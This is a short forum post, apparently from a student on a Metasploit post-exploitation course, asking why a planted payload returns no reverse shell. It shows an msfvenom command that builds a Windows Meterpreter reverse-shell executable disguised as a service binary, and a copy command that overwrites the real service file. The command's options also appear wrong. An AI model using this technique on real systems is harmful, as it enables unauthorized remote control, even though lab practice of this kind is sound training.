Ep 7 Post Exploitation With Metasploit

Evening. Yes, I've overwritten the existing binary using a new .exe I created (below). I used a basic shell rather than Meterpreter to copy it across once on the box (using Meterpreter upload) and got confirmation of the overwrite (below). Still not getting a reverse shell back on my second listener. I've manually tried to start the service; but that fails to get the session. Is there anything else that I'm missing? I have confirmed that the architecture is x64, so my payload should work. Do you have to run the execute_dotnet_assembly module again, or other Meterpreter modules? Thank you. It will be something really silly that I have overlooked.

msfvenom -p windows/x64/meterpreter/reverse_tcp RPORT=5555 RHOSTS=10.102.***.*** -f exe -o Important-Service.exe

copy /v Important-Service.exe C:\Windows\Important-Service